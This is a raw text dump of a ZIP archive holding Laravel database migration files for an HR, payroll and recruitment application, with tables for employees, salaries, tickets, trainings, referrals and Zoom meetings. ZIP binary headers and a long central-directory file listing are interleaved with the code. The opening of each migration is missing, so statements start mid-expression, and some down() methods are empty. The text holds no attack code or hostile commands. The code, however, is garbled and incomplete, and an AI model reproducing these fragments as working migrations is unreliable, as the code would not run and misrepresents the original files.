$table->integer('designation_id'); $table->string('company_doj')->nullable(); $table->string('documents')->nullable(); $table->string('account_holder_name')->nullable(); $table->string('account_number')->nullable(); $table->string('bank_name')->nullable(); $table->string('bank_identifier_code')->nullable(); $table->string('branch_location')->nullable(); $table->string('tax_payer_id')->nullable(); $table->integer('salary_type')->nullable(); $table->integer('account_type')->nullable(); $table->float('salary', 20, 2)->default(0.00); $table->integer('is_active')->default('1'); $table->integer('created_by'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('employees'); } } PKˉZZ^:gg-2019_12_31_090637_create_promotions_table.phpnu[bigIncrements('id'); $table->integer('employee_id'); $table->integer('designation_id'); $table->string('promotion_title'); $table->date('promotion_date'); $table->string('description'); $table->string('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('promotions'); } } PKˉZWmcc-2019_12_31_103019_create_complaints_table.phpnu[bigIncrements('id'); $table->integer('complaint_from'); $table->integer('complaint_against'); $table->string('title'); $table->date('complaint_date'); $table->string('description'); $table->string('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('complaints'); } } PKˉZ=0~dd-2020_01_03_084302_create_allowances_table.phpnu[bigIncrements('id'); $table->integer('employee_id'); $table->integer('allowance_option'); $table->string('title'); $table->float('amount', 15,2); $table->string('type')->nullable(); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('allowances'); } } PKˉZY&]42020_01_06_124036_create_transfer_balances_table.phpnu[bigIncrements('id'); $table->integer('from_account_id'); $table->integer('to_account_id'); $table->date('date'); $table->float('amount', 15,2); $table->integer('payment_type_id'); $table->string('referal_id')->nullable(); $table->text('description')->nullable(); $table->integer('created_by'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('transfer_balances'); } } PKˉZ@27:2024_01_23_060449_add_trial_expire_date_to_users_table.phpnu[date('trial_expire_date')->nullable()->after('requested_plan'); $table->integer('trial_plan')->default(0)->after('trial_expire_date'); }); } } /** * Reverse the migrations. */ public function down(): void { Schema::table('users', function (Blueprint $table) { // }); } }; PKˉZ:2020_01_02_110828_create_genrate_payslip_options_table.phpnu[bigIncrements('id'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('genrate_payslip_options'); } } PKˉZ]TZ)2020_04_21_115823_create_assets_table.phpnu[bigIncrements('id'); $table->string('employee_id'); $table->string('name'); $table->date('purchase_date'); $table->date('supported_date'); $table->float('amount', 20,2)->default(0.00); $table->text('description')->nullable(); $table->integer('created_by')->default(0); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('assets'); } } PKˉZ_02020_01_06_090709_create_payment_types_table.phpnu[bigIncrements('id'); $table->string('name'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('payment_types'); } } PKˉZA#d+2020_05_08_023838_create_trainers_table.phpnu[bigIncrements('id'); $table->string('branch'); $table->string('firstname'); $table->string('lastname'); $table->string('contact'); $table->string('email'); $table->text('address')->nullable(); $table->text('expertise')->nullable(); $table->integer('created_by'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('trainers'); } } PKˉZ'U72020_01_27_052503_create_attendance_employees_table.phpnu[bigIncrements('id'); $table->integer('employee_id'); $table->date('date'); $table->string('status'); $table->time('clock_in'); $table->time('clock_out'); $table->time('late'); $table->time('early_leaving'); $table->time('overtime'); $table->time('total_rest'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('attendance_employees'); } } PKˉZPs*2020_01_17_051906_create_tickets_table.phpnu[bigIncrements('id'); $table->string('title'); $table->integer('employee_id'); $table->string('priority'); $table->date('end_date'); $table->text('description')->nullable(); $table->string('ticket_code'); $table->integer('ticket_created')->default(0); $table->integer('created_by'); $table->string('status'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('tickets'); } } PKˉZå,2023_06_28_061829_create_languages_table.phpnu[id(); $table->string('code')->nullable(); $table->string('fullName')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('languages'); } }; PKˉZԈKXX32020_05_07_093520_create_company_policies_table.phpnu[bigIncrements('id'); $table->integer('branch'); $table->string('title'); $table->text('description'); $table->string('attachment')->nullable(); $table->integer('created_by'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('company_policies'); } } PKˉZAض-2020_05_05_061241_create_goal_types_table.phpnu[bigIncrements('id'); $table->string('name'); $table->integer('created_by')->default(0); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('goal_types'); } } PKˉZ.2019_12_26_101754_create_departments_table.phpnu[bigIncrements('id'); $table->integer('branch_id'); $table->string('name'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('departments'); } } PKˉZ++2019_09_28_102009_create_settings_table.phpnu[bigIncrements('id'); $table->string('name'); $table->longText('value'); $table->integer('created_by'); $table->timestamps(); $table->unique(['name', 'created_by']); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('settings'); } } PKˉZ;BB)2019_12_28_050508_create_awards_table.phpnu[bigIncrements('id'); $table->integer('employee_id'); $table->string('award_type'); $table->date('date'); $table->string('gift'); $table->string('description'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('awards'); } } PKˉZ|ÎX/2019_12_26_101814_create_designations_table.phpnu[bigIncrements('id'); $table->integer('department_id'); $table->string('name'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('designations'); } } PKˉZJ-,2020_05_08_043039_create_trainings_table.phpnu[bigIncrements('id'); $table->integer('branch'); $table->integer('trainer_option'); $table->integer('training_type'); $table->integer('trainer'); $table->float('training_cost', 15,2)->default(0.00); $table->integer('employee'); $table->date('start_date'); $table->date('end_date'); $table->text('description')->nullable(); $table->integer('performance')->default(0); $table->integer('status')->default(0); $table->text('remarks')->nullable(); $table->integer('created_by'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('trainings'); } } PKˉZr2.2020_01_16_090747_create_leave_types_table.phpnu[bigIncrements('id'); $table->string('title'); $table->integer('days'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('leave_types'); } } PKˉZصMDD'2021_03_15_094707_create_jobs_table.phpnu[id(); $table->string('title'); $table->text('description')->nullable(); $table->text('requirement')->nullable(); $table->integer('branch')->default(0); $table->integer('category')->default(0); $table->text('skill')->nullable(); $table->integer('position')->nullable(); $table->date('start_date')->nullable(); $table->date('end_date')->nullable(); $table->string('status')->nullable(); $table->string('applicant')->nullable(); $table->string('visibility')->nullable(); $table->string('code')->nullable(); $table->string('custom_question')->nullable(); $table->integer('created_by'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('jobs'); } } PKˉZ~V^^12020_01_17_112647_create_ticket_replies_table.phpnu[bigIncrements('id'); $table->integer('ticket_id'); $table->integer('employee_id'); $table->string('description'); $table->integer('created_by'); $table->integer('is_read')->default('0'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('ticket_replies'); } } PKˉZn+2020_01_06_085218_create_deposits_table.phpnu[bigIncrements('id'); $table->integer('account_id'); $table->float('amount', 15, 2); $table->date('date'); $table->integer('income_category_id'); $table->integer('payer_id'); $table->integer('payment_type_id'); $table->string('referal_id')->nullable(); $table->text('description')->nullable(); $table->integer('created_by'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('deposits'); } } PKˉZM$02021_12_24_061634_create_zoom_meetings_table.phpnu[id(); $table->string('title')->nullable(); $table->string('meeting_id')->default(0); $table->string('user_id')->default(0); $table->string('password')->nullable(); $table->timestamp('start_date')->default(DB::raw('CURRENT_TIMESTAMP(0)')); $table->integer('duration')->default(0); $table->text('start_url')->nullable(); $table->string('join_url')->nullable(); $table->string('status')->default('waiting')->nullable(); $table->integer('created_by')->default(0); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('zoom_meetings'); } } PKˉZ/&>>12020_01_03_105100_create_other_payments_table.phpnu[bigIncrements('id'); $table->integer('employee_id'); $table->string('title'); $table->float('amount', 15,2); $table->string('type')->nullable(); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('other_payments'); } } PKˉZo-2022_08_10_051439_generate__offer__letter.phpnu[id(); $table->string('lang', 100); $table->text('content'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { // } } PKˉZ)2020_01_06_070037_create_payers_table.phpnu[bigIncrements('id'); $table->string('payer_name'); $table->string('contact_number'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('payers'); } } PKˉZ92023_05_03_033446_create_notification_templates_table.phpnu[id(); $table->string('name'); $table->string('slug')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('notification_templates'); } }; PKˉZO42024_04_15_092833_create_referral_settings_table.phpnu[id(); $table->integer('percentage'); $table->integer('minimum_threshold_amount'); $table->integer('is_enable')->default(0); $table->longText('guideline'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('referral_settings'); } }; PKˉZQV82024_01_24_054034_add_is_login_enable_to_users_table.phpnu[integer('is_login_enable')->default(1)->after('trial_plan'); }); } } /** * Reverse the migrations. */ public function down(): void { Schema::table('users', function (Blueprint $table) { // }); } }; PKˉZn3Ǣ$2022_08_16_050109_joining_letter.phpnu[id(); $table->string('lang', 100); $table->text('content'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { // } } PKˉZ[˳+2020_01_16_110357_create_meetings_table.phpnu[bigIncrements('id'); $table->integer('branch_id'); $table->longText('department_id'); $table->longText('employee_id'); $table->string('title'); $table->date('date'); $table->time('time'); $table->text('note')->nullable(); $table->integer('created_by'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('meetings'); } } PKˉZP<62024_02_01_064335_add_attachments_to_tickets_table.phpnu[string('attachment')->nullable()->after('description'); }); } } /** * Reverse the migrations. */ public function down(): void { Schema::table('tickets', function (Blueprint $table) { // }); } }; PKˉZ3=2024_04_29_125113_add_biometric_emp_id_to_employees_table.phpnu[integer('biometric_emp_id')->nullable()->after('employee_id'); }); } } /** * Reverse the migrations. */ public function down(): void { Schema::table('employees', function (Blueprint $table) { // }); } }; PKˉZS52024_04_15_095510_create_transaction_orders_table.phpnu[id(); $table->decimal('req_amount',15,2)->default(0.0); $table->integer('req_user_id'); $table->integer('status')->default(0); $table->date('date')->nullable(); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('transaction_orders'); } }; PKˉZS02021_03_22_122532_create_job_on_boards_table.phpnu[id(); $table->integer('application'); $table->date('joining_date')->nullable(); $table->string('status')->nullable(); $table->string('job_type')->nullable(); $table->integer('days_of_week')->nullable(); $table->float('salary', 15, 2)->nullable(); $table->string('salary_type')->nullable(); $table->string('salary_duration')->nullable(); $table->integer('convert_to_employee')->default(0); $table->integer('created_by'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('job_on_boards'); } } PKˉZƚѴmm/2019_12_31_062259_create_terminations_table.phpnu[bigIncrements('id'); $table->integer('employee_id'); $table->date('notice_date'); $table->date('termination_date'); $table->string('termination_type'); $table->longtext('description'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('terminations'); } } PKˉZM92024_05_02_051304_add_branch_id_to_designations_table.phpnu[integer('branch_id')->nullable()->after('id'); }); } } /** * Reverse the migrations. */ public function down(): void { Schema::table('designations', function (Blueprint $table) { // }); } }; PKˉZ<'!,2022_12_09_999999_create_favorites_table.phpnu[bigInteger('id'); $table->bigInteger('user_id'); $table->bigInteger('favorite_id'); $table->timestamps(); $table->primary('id'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('ch_favorites'); } } PKˉZ212020_05_07_131311_create_training_types_table.phpnu[bigIncrements('id'); $table->string('name'); $table->integer('created_by'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('training_types'); } } PKˉZz.2019_12_28_050919_create_award_types_table.phpnu[bigIncrements('id'); $table->string('name'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('award_types'); } } PKˉZbigIncrements('id'); $table->string('name'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('deduction_options'); } } PKˉZŕ+2022_12_09_999999_create_messages_table.phpnu[bigInteger('id'); $table->string('type'); $table->bigInteger('from_id'); $table->bigInteger('to_id'); $table->string('body',5000)->nullable(); $table->string('attachment')->nullable(); $table->boolean('seen')->default(false); $table->timestamps(); $table->primary('id'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('ch_messages'); } } PKˉZ=7!*2019_12_31_072252_create_travels_table.phpnu[bigIncrements('id'); $table->integer('employee_id'); $table->date('start_date'); $table->date('end_date'); $table->string('purpose_of_visit'); $table->string('place_of_visit'); $table->string('description'); $table->string('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('travels'); } } PKˉZv22014_10_12_100000_create_password_resets_table.phpnu[string('email')->index(); $table->string('token'); $table->timestamp('created_at')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('password_resets'); } } PKˉZ/2020_01_02_102558_create_loan_options_table.phpnu[bigIncrements('id'); $table->string('name'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('loan_options'); } } PKˉZRR+2019_12_31_100319_create_warnings_table.phpnu[bigIncrements('id'); $table->integer('warning_to'); $table->integer('warning_by'); $table->string('subject'); $table->date('warning_date'); $table->string('description'); $table->string('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('warnings'); } } PKˉZb12022_07_26_054753_create_contract_types_table.phpnu[bigIncrements('id'); $table->string('name'); $table->integer('created_by'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('contract_types'); } } PKˉZw22022_07_13_085418_create_email_templates_table.phpnu[id(); $table->string('name'); $table->string('from')->nullable(); $table->string('slug')->nullable(); $table->integer('created_by'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('email_templates'); } } PKˉZhm62021_03_18_140630_create_interview_schedules_table.phpnu[id(); $table->integer('candidate'); $table->integer('employee')->default(0); $table->date('date'); $table->time('time'); $table->text('comment')->nullable(); $table->string('employee_response')->nullable(); $table->integer('created_by'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('interview_schedules'); } } PKˉZ̞/2020_03_12_120749_create_user_coupons_table.phpnu[bigIncrements('id'); $table->integer('user'); $table->integer('coupon'); $table->string('order')->nullable(); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('user_coupons'); } } PKˉZC+2023_06_08_094417_create_template_table.phpnu[id(); $table->string('template_name'); $table->text('prompt'); $table->string('module'); $table->text('field_json'); $table->integer('is_tone'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('template'); } }; PKˉZBF+2020_01_06_121442_create_expenses_table.phpnu[bigIncrements('id'); $table->integer('account_id'); $table->float('amount', 15, 2); $table->date('date'); $table->integer('expense_category_id'); $table->integer('payee_id'); $table->integer('payment_type_id'); $table->string('referal_id')->nullable(); $table->text('description')->nullable(); $table->integer('created_by'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('expenses'); } } PKˉZ32021_03_17_163107_create_custom_questions_table.phpnu[id(); $table->string('question'); $table->string('is_required')->nullable(); $table->integer('created_by'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('custom_questions'); } } PKˉZXs$92020_01_24_062752_create_announcement_employees_table.phpnu[bigIncrements('id'); $table->integer('announcement_id'); $table->integer('employee_id'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('announcement_employees'); } } PKˉZb-˷32024_01_30_094128_add_is_refund_to_orders_table.phpnu[integer('is_refund')->default(0)->after('user_id'); }); } } /** * Reverse the migrations. */ public function down(): void { Schema::table('orders', function (Blueprint $table) { // }); } }; PKˉZU "12020_05_05_095926_create_goal_trackings_table.phpnu[bigIncrements('id'); $table->integer('branch'); $table->integer('goal_type'); $table->date('start_date'); $table->date('end_date'); $table->string('subject')->nullable(); $table->string('rating')->nullable(); $table->string('target_achievement')->nullable(); $table->text('description')->nullable(); $table->integer('status')->default(0); $table->integer('progress')->default(0); $table->integer('created_by')->default(0); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('goal_trackings'); } } PKˉZ642020_01_23_101613_create_meeting_employees_table.phpnu[PKˉZo4V2019_12_31_060916_create_termination_types_table.phpnu[PKˉZ@%y2022_08_17_065806_noc_certificate.phpnu[PKˉZ+v 2019_12_27_083751_create_branches_table.phpnu[PKˉZ ;7v 2022_07_13_085511_create_email_template_langs_table.phpnu[PKˉZY=<;;/2019_12_31_070521_create_resignations_table.phpnu[PKˉZq-2020_05_05_023742_create_appraisals_table.phpnu[PKˉZ PP82024_04_15_093820_create_referral_transactions_table.phpnu[PKˉZAZZ82021_03_16_115140_create_job_application_notes_table.phpnu[PKˉZ((/P 2020_01_06_072939_create_income_types_table.phpnu[PKˉZWW߅8_#2020_01_03_105046_create_saturation_deductions_table.phpnu[PKˉZVv/L'2021_08_20_084119_create_competencies_table.phpnu[PKˉZU335p*2024_01_24_053357_update_password_for_users_table.phpnu[PKˉZC]Q3-2023_04_24_062256_create_webhook_settings_table.phpnu[PKˉZS->02020_05_04_070452_create_indicators_table.phpnu[PKˉZI_,52022_08_17_045033_experience_certificate.phpnu[PKˉZ oGG-82020_07_18_065859_create_messageses_table.phpnu[PKˉZ.2`:2020_01_23_123844_create_event_employees_table.phpnu[PKˉZOΠ3=2021_03_15_153745_create_job_applications_table.phpnu[PKˉZPO/-D2021_03_13_123125_create_job_stages_table.phpnu[PKˉZ66.G2020_01_03_101735_create_commissions_table.phpnu[PKˉZ+?/bK2021_03_13_093312_create_ip_restricts_table.phpnu[PKˉZT80uN2022_07_13_085553_user_email_templates_table.phpnu[PKˉZ=Q2024_02_01_064327_add_attachments_to_ticket_replies_table.phpnu[PKˉZA{Ouu)U2020_02_17_072503_create_orders_table.phpnu[PKˉZ{Ù+Z2021_06_25_032625_admin_payment_setting.phpnu[PKˉZb ]],X^2019_12_31_092838_create_transfers_table.phpnu[PKˉZA1b2021_03_13_114832_create_job_categories_table.phpnu[PKˉZA TT)/e2020_01_13_084720_create_events_table.phpnu[PKˉZȺ^0h2020_01_16_041720_create_announcements_table.phpnu[PKˉZ1^^3l2020_05_01_122144_create_ducument_uploads_table.phpnu[PKˉZՋd  ,p2022_07_28_035621_create_contracts_table.phpnu[PKˉZu2023_05_03_033536_create_notification_template_langs_table.phpnu[PKˉZw$$5#2019_12_27_112922_create_employee_documents_table.phpnu[PKˉZ]V0&2020_01_06_073055_create_expense_types_table.phpnu[PKˉZ_!,)2019_12_26_105721_create_documents_table.phpnu[PKˉZm.}0,2020_01_02_090837_create_payslip_types_table.phpnu[PKˉZhh./2020_02_28_051636_create_time_sheets_table.phpnu[PKˉZ<*32020_03_12_095629_create_coupons_table.phpnu[PKˉZ!jj<72024_05_02_072829_add_terms_and_conditions_to_jobs_table.phpnu[PKˉZ-\aa/v<2020_01_02_111807_create_set_salaries_table.phpnu[PKˉZݡ(6?2014_10_12_000000_create_users_table.phpnu[PKˉZ(Ì.iE2024_01_23_060917_add_trial_to_plans_table.phpnu[PKˉZvgTT3H2023_12_08_065736_add_is_disable_to_users_table.phpnu[PKˉZnzz(`K2020_02_17_035047_create_plans_table.phpnu[PKˉZEw޽02P2023_04_19_113655_create_login_details_table.phpnu[PKˉZ-p^^0S2024_04_15_093303_add_referral_code_to_users.phpnu[PKˉZFkk,VY2020_01_04_072527_create_pay_slips_table.phpnu[PKˉZҿW.^2019_08_19_000000_create_failed_jobs_table.phpnu[PKˉZt4a2022_07_28_035713_create_contract_comments_table.phpnu[PKˉZCy3d2024_01_30_050310_add_is_disable_to_plans_table.phpnu[PKˉZʤ//8Nh2021_06_22_094220_create_landing_page_sections_table.phpnu[PKˉZr|?BB,l2019_12_27_090831_create_employees_table.phpnu[PKˉZZ^:gg-t2019_12_31_090637_create_promotions_table.phpnu[PKˉZWmcc-Gx2019_12_31_103019_create_complaints_table.phpnu[PKˉZ=0~dd-|2020_01_03_084302_create_allowances_table.phpnu[PKˉZY&]42020_01_06_124036_create_transfer_balances_table.phpnu[PKˉZ@27:"2024_01_23_060449_add_trial_expire_date_to_users_table.phpnu[PKˉZ:2020_01_02_110828_create_genrate_payslip_options_table.phpnu[PKˉZ]TZ){2020_04_21_115823_create_assets_table.phpnu[PKˉZ_02020_01_06_090709_create_payment_types_table.phpnu[PKˉZA#d+2020_05_08_023838_create_trainers_table.phpnu[PKˉZ'U72020_01_27_052503_create_attendance_employees_table.phpnu[PKˉZPs*2020_01_17_051906_create_tickets_table.phpnu[PKˉZå,O2023_06_28_061829_create_languages_table.phpnu[PKˉZԈKXX3P2020_05_07_093520_create_company_policies_table.phpnu[PKˉZAض- 2020_05_05_061241_create_goal_types_table.phpnu[PKˉZ.32019_12_26_101754_create_departments_table.phpnu[PKˉZ++i2019_09_28_102009_create_settings_table.phpnu[PKˉZ;BB)Į2019_12_28_050508_create_awards_table.phpnu[PKˉZ|ÎX/_2019_12_26_101814_create_designations_table.phpnu[PKˉZJ-,2020_05_08_043039_create_trainings_table.phpnu[PKˉZr2.Ǻ2020_01_16_090747_create_leave_types_table.phpnu[PKˉZصMDD'2021_03_15_094707_create_jobs_table.phpnu[PKˉZ~V^^12020_01_17_112647_create_ticket_replies_table.phpnu[PKˉZn+R2020_01_06_085218_create_deposits_table.phpnu[PKˉZM$02021_12_24_061634_create_zoom_meetings_table.phpnu[PKˉZ/&>>12020_01_03_105100_create_other_payments_table.phpnu[PKˉZo-q2022_08_10_051439_generate__offer__letter.phpnu[PKˉZ)}2020_01_06_070037_create_payers_table.phpnu[PKˉZ92023_05_03_033446_create_notification_templates_table.phpnu[PKˉZO42024_04_15_092833_create_referral_settings_table.phpnu[PKˉZQV8<2024_01_24_054034_add_is_login_enable_to_users_table.phpnu[PKˉZn3Ǣ$L2022_08_16_050109_joining_letter.phpnu[PKˉZ[˳+B2020_01_16_110357_create_meetings_table.phpnu[PKˉZP<6P2024_02_01_064335_add_attachments_to_tickets_table.phpnu[PKˉZ3=Z2024_04_29_125113_add_biometric_emp_id_to_employees_table.phpnu[PKˉZS52024_04_15_095510_create_transaction_orders_table.phpnu[PKˉZS0#2021_03_22_122532_create_job_on_boards_table.phpnu[PKˉZƚѴmm/C2019_12_31_062259_create_terminations_table.phpnu[PKˉZM92024_05_02_051304_add_branch_id_to_designations_table.phpnu[PKˉZ<'!,E2022_12_09_999999_create_favorites_table.phpnu[PKˉZ21{2020_05_07_131311_create_training_types_table.phpnu[PKˉZz.2019_12_28_050919_create_award_types_table.phpnu[PKˉZ